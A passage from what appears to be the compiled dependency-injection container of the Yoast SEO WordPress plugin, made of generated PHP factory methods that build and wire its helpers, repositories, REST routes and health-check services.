        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});
        $instance->set_archive_adjacent_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Promotions\Application\Promotion_Manager' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Promotions\Application\Promotion_Manager
     */
    protected function getPromotionManagerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] = new \Yoast\WP\SEO\Promotions\Application\Promotion_Manager(new \Yoast\WP\SEO\Promotions\Domain\Black_Friday_Checklist_Promotion(), new \Yoast\WP\SEO\Promotions\Domain\Black_Friday_Promotion());
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository
     */
    protected function getIndexableCleanupRepositoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository'] = new \Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] : $this->getAuthorArchiveHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository
     */
    protected function getIndexableHierarchyRepositoryService()
    {
        $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] = $instance = new \Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository();

        $instance->set_builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] : $this->getIndexableHierarchyBuilderService()) && false ?: '_'});
        $instance->set_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Repositories\Indexable_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Repositories\Indexable_Repository
     */
    protected function getIndexableRepositoryService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'])) {
            return $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'];
        }
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] : $this->getIndexableHierarchyRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'])) {
            return $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'];
        }

        return $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] = new \Yoast\WP\SEO\Repositories\Indexable_Repository($a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Loggers\\Logger']) ? $this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] : ($this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] = new \Yoast\WP\SEO\Loggers\Logger())) && false ?: '_'}, $b, ${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager']) ? $this->services['Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager'] : $this->getIndexableVersionManagerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Repositories\Primary_Term_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Repositories\Primary_Term_Repository
     */
    protected function getPrimaryTermRepositoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Repositories\SEO_Links_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Repositories\SEO_Links_Repository
     */
    protected function getSEOLinksRepositoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] = new \Yoast\WP\SEO\Repositories\SEO_Links_Repository();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Alert_Dismissal_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Alert_Dismissal_Route
     */
    protected function getAlertDismissalRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route'] = new \Yoast\WP\SEO\Routes\Alert_Dismissal_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action'] : $this->getAlertDismissalActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\First_Time_Configuration_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\First_Time_Configuration_Route
     */
    protected function getFirstTimeConfigurationRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route'] = new \Yoast\WP\SEO\Routes\First_Time_Configuration_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action'] : $this->getFirstTimeConfigurationActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Importing_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Importing_Route
     */
    protected function getImportingRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Importing_Route'] = new \Yoast\WP\SEO\Routes\Importing_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service'] : $this->getImportableDetectorServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action'] : $this->getAioseoCleanupActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action'] : $this->getAioseoCustomArchiveSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action'] : $this->getAioseoDefaultArchiveSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action'] : $this->getAioseoGeneralSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action'] : $this->getAioseoPostsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action'] : $this->getAioseoPosttypeDefaultsSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action'] : $this->getAioseoTaxonomySettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action'] : $this->getAioseoValidateDataActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action'] : $this->getDeactivateConflictingPluginsActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Indexables_Head_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Indexables_Head_Route
     */
    protected function getIndexablesHeadRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route'] = new \Yoast\WP\SEO\Routes\Indexables_Head_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action'] : $this->getIndexableHeadActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Indexing_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Indexing_Route
     */
    protected function getIndexingRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Indexing_Route'] = new \Yoast\WP\SEO\Routes\Indexing_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] : $this->getIndexablePostIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] : $this->getIndexableTermIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] : $this->getIndexablePostTypeArchiveIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] : $this->getIndexableGeneralIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action'] : $this->getIndexableIndexingCompleteActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action'] : $this->getIndexingCompleteActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action'] : $this->getIndexingPrepareActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] : $this->getPostLinkIndexingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] : $this->getTermLinkIndexingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Integrations_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Integrations_Route
     */
    protected function getIntegrationsRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Integrations_Route'] = new \Yoast\WP\SEO\Routes\Integrations_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Integrations_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Integrations_Action'] : $this->getIntegrationsActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Meta_Search_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Meta_Search_Route
     */
    protected function getMetaSearchRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Meta_Search_Route'] = new \Yoast\WP\SEO\Routes\Meta_Search_Route();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\SEMrush_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\SEMrush_Route
     */
    protected function getSEMrushRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\SEMrush_Route'] = new \Yoast\WP\SEO\Routes\SEMrush_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action'] : $this->getSEMrushLoginActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action'] : $this->getSEMrushOptionsActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action'] : $this->getSEMrushPhrasesActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Supported_Features_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Supported_Features_Route
     */
    protected function getSupportedFeaturesRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Supported_Features_Route'] = new \Yoast\WP\SEO\Routes\Supported_Features_Route();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Wincher_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Wincher_Route
     */
    protected function getWincherRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Wincher_Route'] = new \Yoast\WP\SEO\Routes\Wincher_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action'] : $this->getWincherLoginActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action'] : $this->getWincherAccountActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action'] : $this->getWincherKeyphrasesActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Workouts_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Workouts_Route
     */
    protected function getWorkoutsRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Workouts_Route'] = new \Yoast\WP\SEO\Routes\Workouts_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Routes\Yoast_Head_REST_Field' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Routes\Yoast_Head_REST_Field
     */
    protected function getYoastHeadRESTFieldService()
    {
        return $this->services['Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field'] = new \Yoast\WP\SEO\Routes\Yoast_Head_REST_Field(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action'] : $this->getIndexableHeadActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Check' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Check
     */
    protected function getDefaultTaglineCheckService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Check(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner'] : ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports'] : $this->getDefaultTaglineReportsService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Reports' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Reports
     */
    protected function getDefaultTaglineReportsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Reports(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] : ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner
     */
    protected function getDefaultTaglineRunnerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Links_Table_Check' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Links_Table_Check
     */
    protected function getLinksTableCheckService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check'] = new \Yoast\WP\SEO\Services\Health_Check\Links_Table_Check(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner'] : $this->getLinksTableRunnerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports'] : $this->getLinksTableReportsService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Links_Table_Reports' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Links_Table_Reports
     */
    protected function getLinksTableReportsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports'] = new \Yoast\WP\SEO\Services\Health_Check\Links_Table_Reports(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] : ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory())) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Shortlinker']) ? $this->services['WPSEO_Shortlinker'] : $this->getWPSEOShortlinkerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Links_Table_Runner' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Links_Table_Runner
     */
    protected function getLinksTableRunnerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Links_Table_Runner(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status']) ? $this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] : ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\MyYoast_Api_Request_Factory' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\MyYoast_Api_Request_Factory
     */
    protected function getMyYoastApiRequestFactoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\MyYoast_Api_Request_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\MyYoast_Api_Request_Factory();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Page_Comments_Check' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Check
     */
    protected function getPageCommentsCheckService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check'] = new \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Check(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner'] : ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Runner())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports'] : $this->getPageCommentsReportsService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Page_Comments_Reports' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Reports
     */
    protected function getPageCommentsReportsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports'] = new \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Reports(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] : ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Page_Comments_Runner' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Runner
     */
    protected function getPageCommentsRunnerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Runner();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Check' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Check
     */
    protected function getPostnamePermalinkCheckService()
    {
